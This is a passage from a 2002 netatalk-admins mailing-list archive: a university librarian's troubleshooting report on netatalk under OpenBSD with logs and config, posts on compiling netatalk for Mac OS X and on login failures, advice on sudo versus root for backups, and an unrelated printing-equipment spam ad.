 id <01KE9VFXHXBK002REE@DRAKE.EDU> for netatalk-admins@umich.edu; Thu,
 14 Feb 2002 18:28:23 -0500 (CDT)
Received: from dan.lib.drake.edu ([10.2.1.163]) by DRAKE.EDU (PMDF V6.1 #38814)
 with ESMTP id <01KE9VFX8Y8M002RRW@DRAKE.EDU> for netatalk-admins@umich.edu;
 Thu, 14 Feb 2002 18:28:23 -0500 (CDT)
Date: Thu, 14 Feb 2002 18:30:14 -0600 (CST)
From: Dan Ramaley <daniel.ramaley@DRAKE.EDU>
Subject: Netatalk was running before, now broken...
To: netatalk <netatalk-admins@umich.edu>
Message-id: <01KE9VFX9320002RRW@DRAKE.EDU>
MIME-version: 1.0
X-Mailer: Mahogany, 0.63 'Saugus', compiled for Linux 2.4.2-2smp i686
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Content-disposition: INLINE

I work as the tech guy in the library at a university. We have a file
server running OpenBSD 3.0 with whatever version of netatalk comes with
it; the package is labeled as netatalk-990130. Before Christmas break
everything was working fine. After break the netatalk server is no
longer working. It does not show up in the Chooser on the Macs, nor is
it accessible by IP. I have spoken with the network administrator about
this problem. He told me that the only things that changed over break
that could possibly affect it was upgrading the router that services our
building from a 3Com to a Cisco, and new net.node numbers were assigned.
All the Macs on campus still work just fine. The only machine having any
trouble is our netatalk server. I don't know what is wrong, but below i
will include lots of information and hopefully someone will notice
something that is amiss and can please offer some assitance. Thanks
much.


Here are the commands that my netatalk start script executes:


# Change this to set the machine's atalk name:
ATALK_NAME="Backup Server"
# Change this to set the machine's atalk zone:
ATALK_ZONE="Cowles Library"
# Change this to increase the maximum number of clients that can connect:
AFPD_MAX_CLIENTS=25
# Comment out this line to enable guest logins:
#AFPD_NOGUEST=-G
# Change this to set the id of the guest user:
AFPD_GUEST=nobody
/usr/local/libexec/atalkd -f /etc/netatalk/atalkd.conf
/usr/local/bin/nbprgstr -p 4 "${ATALK_NAME}:Server@${ATALK_ZONE}"
/usr/local/bin/nbprgstr -p 4 "${ATALK_NAME}:netatalk@${ATALK_ZONE}"
/usr/local/libexec/afpd -f /etc/netatalk/AppleVolumes.default \
     ${AFPD_NOGUEST} -g ${AFPD_GUEST} -n \
     "${ATALK_NAME}:AFPServer@${ATALK_ZONE}" -c ${AFPD_MAX_CLIENTS}


My /etc/netatalk/atalkd.conf is empty except for comment lines. The
/etc/netatalk/AppleVolumes.default contains 2 non-comment lines that
look like this:

/home/netatalk/boot_images "Boot Images" noadouble
/home/netatalk/public "Public" noadouble

Now, the error messages. During boot this is what appears on the console:


starting appletalk daemons:pflog0: disabled.
enc0: disabled.
bridge0: disabled.
bridge1: disabled.
vlan0: disabled.
vlan1: disabled.
 atalkdnbp_rgstr: Undefined error: 0
Can't register Backup Server:Server@Cowles Library
nbp_rgstr: Undefined error: 0
Can't register Backup Server:netatalk@Cowles Library
 nbprgstr afpd.


If i check the /var/log/daemon log file, i get this:


Feb 14 17:36:01 backup atalkd[15550]: restart (990130-OpenBSD-1.1.2)
Feb 14 17:36:03 backup atalkd[15550]: zip_getnetinfo for dc0
Feb 14 17:36:04 backup atalkd[15550]: zip_getnetinfo for dc0
Feb 14 17:36:04 backup atalkd[15550]: zip gnireply from 202.60 (dc0 12)
Feb 14 17:36:06 backup atalkd[15550]: zip_packet configured dc0 from 202.60
Feb 14 17:36:14 backup atalkd[15550]: rtmp_packet gateway 202.60 up
Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 101
Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 300
Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 400
Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 500
Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 600
Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 9010
Feb 14 17:36:51 backup atalkd[15550]: ready -2/0/0
Feb 14 17:37:09 backup afpd[14552]: Can't register Backup Server:AFPServer@Cowles Library
Feb 14 17:51:15 backup atalkd[25690]: restart (990130-OpenBSD-1.1.2)
Feb 14 17:51:15 backup atalkd[25690]: bind 0.0:6: Address already in use
Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 101
Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 300
Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 400
Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 500
Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 600
Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 9010


The as_timer messages repeat every 30-40 minutes for as long as the
machine is up. Doing a "ps ax" to actually see what is running shows
only one relevant entry:


  PID TT   STAT      TIME COMMAND
15550 ??  S       0:00.07 /usr/local/libexec/atalkd -f /etc/netatalk/atalkd.con


I tried running "ifconfig dc0" to see if it would reveal anything:


dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        media: Ethernet autoselect (100baseTX full-duplex)
        status: active
        inet6 fe80::2a0:ccff:fe57:b82d%dc0 prefixlen 64 scopeid 0x1
        inet 10.2.1.48 netmask 0xffff0000 broadcast 10.2.255.255
        AppleTalk 220.94 range 200-299 phase 2 broadcast 220.94


>From the last line it looks to me like netatalk picked up a network
number of 220, which is within the range (200-299) that the network
administrator said it should be within. I have tried manually setting
the network number and node to values provided by the network
administrator for testing in atalkd.conf, but it did not work. Any
ideas?

------------------------------------------------------------------------
Dan Ramaley
Digital Media Library Specialist
(515) 271-1934
Cowles Library 140, Drake University


From netatalk.administrators-errors@umich.edu  Thu Feb 14 20:01:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA09793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 20:01:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA24670
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 20:01:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA24665
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 20:01:30 -0500 (EST)
Received: from imo-d04.mx.aol.com (imo-d04.mx.aol.com [205.188.157.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA24651
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 20:01:30 -0500 (EST)
From: FIRSTCLASSEQUIP@aol.com
Received: from FIRSTCLASSEQUIP@aol.com
	by imo-d04.mx.aol.com (mail_out_v32.5.) id t.49.18824b15 (3983);
	Thu, 14 Feb 2002 19:59:26 -0500 (EST)
Message-ID: <49.18824b15.299db762@aol.com>
Date: Thu, 14 Feb 2002 19:59:14 EST
Subject: SMALL PRESS SALE
To: FIRSTCLASSEQUIP@aol.com
CC: emeraldservices@home.com
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_49.18824b15.299db762_boundary"
X-Mailer: AOL 7.0 for Windows US sub 118


--part1_49.18824b15.299db762_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

TO PRINTERs, Small Press Sale

A.B.DICK 360'S, READY TO GO, 5 AVAIL. FROM $1,200 TO $1,800 ALL CHAIN DEL.

A.B.DICK 375'S, CHECKED AND READY, 3 AVAIL. $1,800 EACH. ALL W/ CHAIN DEL.

A.B.DICK 385'S, 1 OR 2 COLOR UNITS, ALSO HAVE 9890 W/ SA HEADS.ALSO HAVE
RYOBI'S, HAMADA'S, CHIEF'S, MULTI'S, 1 AND 2 COLOR UNITS.

MULTI-1250'S, 6 AVAIL, $1,500 EACH

CUTTERS: CHALLENGE, POLAR, REGENT, SEYBOLD AVAIL.

JUST FAX OR EMAIL US, WHAT SIZE YOU NEED.

DIE CUTTERS:
"SPECIAL"

13 X 18", HEIDELBERG WINDMILL W/ FOIL $12,000 unit.
is in EXCELLENT condition, also have 10 X 15 units,THOMPSON, BOBST,and 
HEIDELBERG CYLINDER units avail too.

FOLDERS: MBO, O+M, BAUM, WHAT SIZE DO YOU NEED?

LARGE PRESSES:

AKIYAMA:    2 color to 6 color 26" to 40" avail.

HEIDELBERG: 1 color GTO'S
                            2 color GTO'S, one @$39,000
                                Both in Great Condition
                            Also have 4,5,6 color GTO'S

HEIDELBERG: 1 color 36", 40" units
                            2 color 19 x 25" to 40"
                            4,5,and 6 color units
                            Mo's up to 40" avail.


IF WE CAN BE OF HELP TO YOU? 
PLEASE FAX OR EMAIL US WITH YOUR EQUIPMENT NEEDS OR   EQUIPMENT YOU WISH TO 
SELL.

INCLUDE AS MUCH INFO AS POSSIBLE,
  PRICE,YEAR,SR#,DESCRIPTION,
  CONDITION,UNDER POWER,
  YES OR NO..

Best Regards,
DANE GODWIN
TINA VERMUELE, Equipment Locator

FIRST CLASS PRINTING EQUIPMENT
12407 EAST SLAUSON AVE UNIT # O
WHITTIER, CA 90606
TELE: 1-562-698-0787
FAX # 1-562-698-3480
EMAI: firstclassequip@aol.com



                           






--part1_49.18824b15.299db762_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><BODY BGCOLOR="#ff80ff"><FONT  SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B>TO PRINTERs, Small Press Sale</B><BR>
<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B>A.B.DICK 360'S,</B> READY TO GO, 5 AVAIL. FROM $1,200 TO $1,800 ALL CHAIN DEL.<BR>
<BR>
<B>A.B.DICK 375'S,</B> CHECKED AND READY, 3 AVAIL. $1,800 EACH. ALL W/ CHAIN DEL.</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B>A.B.DICK 385'S, </B>1 OR<B> </B>2 COLOR UNITS, ALSO HAVE 9890 W/ SA HEADS.ALSO HAVE</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">RYOBI'S, HAMADA'S, CHIEF'S, MULTI'S, 1 AND 2 COLOR UNITS.<B><BR>
<BR>
MULTI-1250'S, </B>6 AVAIL, $1,500 EACH<B><BR>
<BR>
CUTTERS: CHALLENGE, POLAR, REGENT, SEYBOLD AVAIL.</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
JUST FAX OR EMAIL US, WHAT SIZE YOU NEED.<BR>
<BR>
<U>DIE CUTTERS</U>:<BR>
"<U>SPECIAL"</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</U><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">13 X 18", HEIDELBERG WINDMILL W/ FOIL $12,000 unit.</B><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">is in EXCELLENT condition, also have 10 X 15 units,THOMPSON, BOBST,and HEIDELBERG CYLINDER units avail too.</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
<B>FOLDERS: MBO, O+M, BAUM, </B>WHAT SIZE DO YOU NEED?</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<B>LARGE PRESSES</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">:</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
AKIYAMA:&nbsp;&nbsp;&nbsp; </FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></B>2 color to 6 color 26" to 40" avail.</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<B>HEIDELBERG: </FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></B>1 color GTO'S<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 color GTO'S, one @$39,000<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Both in Great Condition<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Also have 4,5,6 color GTO'S<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<B>HEIDELBERG: </FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></B>1 color 36", 40" units<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 color 19 x 25" to 40"<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4,5,and 6 color units<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mo's up to 40" avail.<BR>
<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<B>IF WE CAN BE OF HELP TO YOU? <BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></B>PLEASE FAX OR EMAIL US WITH YOUR EQUIPMENT NEEDS OR&nbsp;&nbsp; EQUIPMENT YOU WISH TO SELL.</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B><BR>
<BR>
</B>INCLUDE AS MUCH INFO AS POSSIBLE,<BR>
&nbsp;</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"> <U>PRICE</U>,<U>YEAR</U>,<U>SR#</U>,<U>DESCRIPTION</U>,<BR>
&nbsp; <U>CONDITION</U>,<U>UNDER POWER</U>,<BR>
&nbsp; <U>YES</U> OR <U>NO</U>..</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">Best Regards,</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">DANE GODWIN</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">TINA VERMUELE, Equipment Locator</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">FIRST CLASS PRINTING EQUIPMENT<BR>
12407 EAST SLAUSON AVE UNIT # O<BR>
WHITTIER, CA 90606</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">TELE: 1-562-698-0787<BR>
FAX # 1-562-698-3480<BR>
EMAI: firstclassequip@aol.com</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
</B><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ff80ff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
<BR>
<B><BR>
</B><BR>
<BR>
<BR>
</FONT></HTML>
--part1_49.18824b15.299db762_boundary--

From netatalk.administrators-errors@umich.edu  Thu Feb 14 20:38:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA11570
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 20:38:58 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA07162
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 20:38:58 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA07154
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 20:38:58 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA07127
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 20:38:56 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id RAA00510;
	Thu, 14 Feb 2002 17:38:51 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <1DGYT2TT>; Thu, 14 Feb 2002 17:38:51 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E3064503250ABC@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Cc: netatalk-devel@lists.sourceforge.net
Subject: RE: OS X
Date: Thu, 14 Feb 2002 17:38:49 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

 I'm trying to compile netatalk on Mac OS X to use the print feature (i.e.
tomake TCP/IP printers available over AppleTalk). I can't get it to compile.
I've tried it on two different machines, one a pristine 10.1.2 machine with
December developer tools. It always fails at the same point with the same
error message:

Making all in aechosource='aecho.c' object='aecho.o' libtool=no \depfile='.deps/aecho.Po' tmpdepfile='.deps/aecho.TPo' \depmode=gcc /bin/sh ../../depcomp \cc -DHAVE_CONFIG_H -I. -I. -I../..     -I../../include -g -O2 -I../../sys -c
`test -f aecho.c || echo './'`aecho.c/bin/sh ../../libtool --mode=link cc  -I../../include -g -O2 -I../../sys   -o
aecho  aecho.o ../../libatalk/libatalk.la -L../../libatalkmkdir .libscc -I../../include -g -O2 -I../../sys -o aecho aecho.o
../../libatalk/.libs/libatalk.a
-L/Developer/Printapps/netatalk/netatalk-1.5.1.1/libatalk/usr/bin/ld: Undefined symbols:_ddp_close_ddp_open_rtmp_netinfomake[3]: *** [aecho] Error 1make[2]: *** [all-recursive] Error 1make[1]: *** [all-recursive] Error 1make: *** [all] Error 2

But, if I do an "nm" on ./../libatalk/.libs/libatalk.a I see that ddp_close
and ddp_open, etc are in the file.  Did anyone get it to compile? How?

-----Original Message-----From: EagleTo: netatalk-admins@umich.eduSent: 2/14/02 7:25 AMSubject: Re: OS XHi Ryan.In my spare time, I'm working on porting macipgw to Mac OS X.  Part of this includes getting netatalk compiled on OS X.  I haven't tried the latter, because I've been studying the former, but will let you know on my progress if you like.EagleOn Thursday, February 14, 2002, at 06:34 , Ryan Cassin wrote:> Hi all,>> Quick question: does netatalk build on OS X, and if it does how can I > build> it? I was looking through the archives of this mailing list only to > find a> lot of discussion about why netatalk might be necessary on OS X, noreal> instructions.>> I want to use netatalk on OS X because I need to run some OS X > applications,> but want to have more than 10 clients connect to me using appleshare. > Unless> I buy the full-blown OS X Server, I'm limited to only 10 connectionsat> once.>> Thanks in advance.


From netatalk.administrators-errors@umich.edu  Thu Feb 14 22:12:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA15147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 22:12:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1F3CKJ16383
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 22:12:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1F3CJX16377
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 22:12:19 -0500 (EST)
Received: from c007.snv.cp.net (c007-h000.c007.snv.cp.net [209.228.33.206])
	by kidgalahad.mr.itd.umich.edu (3.6u) with SMTP id g1F3CI016350
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 22:12:18 -0500 (EST)
Received: (cpmta 26259 invoked from network); 14 Feb 2002 19:12:17 -0800
Received: from 65.186.39.109 (HELO moe.ays.net)
  by smtp.directvinternet.com (209.228.33.206) with SMTP; 14 Feb 2002 19:12:17 -0800
X-Sent: 15 Feb 2002 03:12:17 GMT
Received: from localhost (stew@localhost)
	by moe.ays.net (8.9.3/8.8.6) with ESMTP id WAA28035
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 22:03:39 -0500
Date: Thu, 14 Feb 2002 22:03:39 -0500 (EST)
From: Stew Benedict <stewb@centurytel.net>
To: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: logging in
In-Reply-To: <p05100330b891bbb16c5e@[10.0.1.10]>
Message-ID: <Pine.LNX.4.10.10202142202360.27907-100000@moe.ays.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


On Thu, 14 Feb 2002, Ken Gillett wrote:

> This all seems a bit major. Netatalk's refusal to allow any login 
> other that guest makes it useless for me at the moment. Please, who 
> is actually compiling 1.5.1.1 and getting it to successfully work. 
> Perhaps you could assist us in choosing the correct configure options 
> or whatever the solution may be. My Mandrake rpm did at least work so 
> it is possible.
> 

Why don't you just look at the spec of the Mandrake RPM (my package) and
use those compile options?

Stew Benedict


From netatalk.administrators-errors@umich.edu  Fri Feb 15 02:56:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA28434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 02:56:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1F7uUZ07431
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 02:56:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1F7uUq07427
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 02:56:30 -0500 (EST)
Received: from zul.wakawaka.com (zul.wakawaka.com [205.219.70.4])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1F7uL007413
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 02:56:25 -0500 (EST)
Received: from bugs.wakawaka.com (bugs.wakawaka.com [192.148.188.8])
	by zul.wakawaka.com (8.8.8/8.8.5) with ESMTP id XAA11642;
	Thu, 14 Feb 2002 23:56:19 -0800 (PST)
Received: (from paul@localhost)
	by bugs.wakawaka.com (8.8.8/8.8.5) id XAA09463;
	Thu, 14 Feb 2002 23:55:45 -0800 (PST)
Message-Id: <200202150755.XAA09463@bugs.wakawaka.com>
From: paul@wakawaka.com (Paul Sander)
Date: Thu, 14 Feb 2002 23:55:44 -0800
In-Reply-To: <Pine.LNX.4.10.10202141047210.23388-100000@st-hubbins.hbconcoctions.com>
X-Mailer: Mail User's Shell (7.2.6 beta(4)+dynamic 03/19/98)
To: sth@hbconcoctions.com, netatalk-admins@umich.edu
Subject: Re: Backing up a Netatalk share.

Rather than log in as "root" on the Netatalk machine, why not log in as
an ordinary user, and grant super-user access to specific tasks for which
it's absolutely necessary?  There are a number tools that provide this
capability, "sudo" being one of the more popular.  I use "op" with much
success.

--- Forwarded mail from sth@hbconcoctions.com

2) Scripted, tightly-restricted SSH control of the process

I won't detail this here, since it's a fairly (*ahem*) information-rich
topic (read: difficult to explain with any brevity), but you could script
an SSH client on the Retrospect machine (running MacOS? AppleScript should
be able to handle this) to use "single-purpose keys" -- keys that can only
do one thing once logged in -- to login as 'root' to the Netatalk machine
and coordinate the process. Advantages? Decently secure, since only root
is able to work with the backup archive; no race condition, since one
machine can run the steps in sequence. Drawbacks? Somewhat complex setup,
plus now you've got to guard your Retrospect machine jealously as it now
contains keys that can be used to log into the Netatalk machine as 'root'
and work with backups (but not do anything else). If you're already
superparanoid about your Retrospect machine, though, this probably isn't a
stretch.

--- End of forwarded message from sth@hbconcoctions.com


From netatalk.administrators-errors@umich.edu  Fri Feb 15 03:11:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
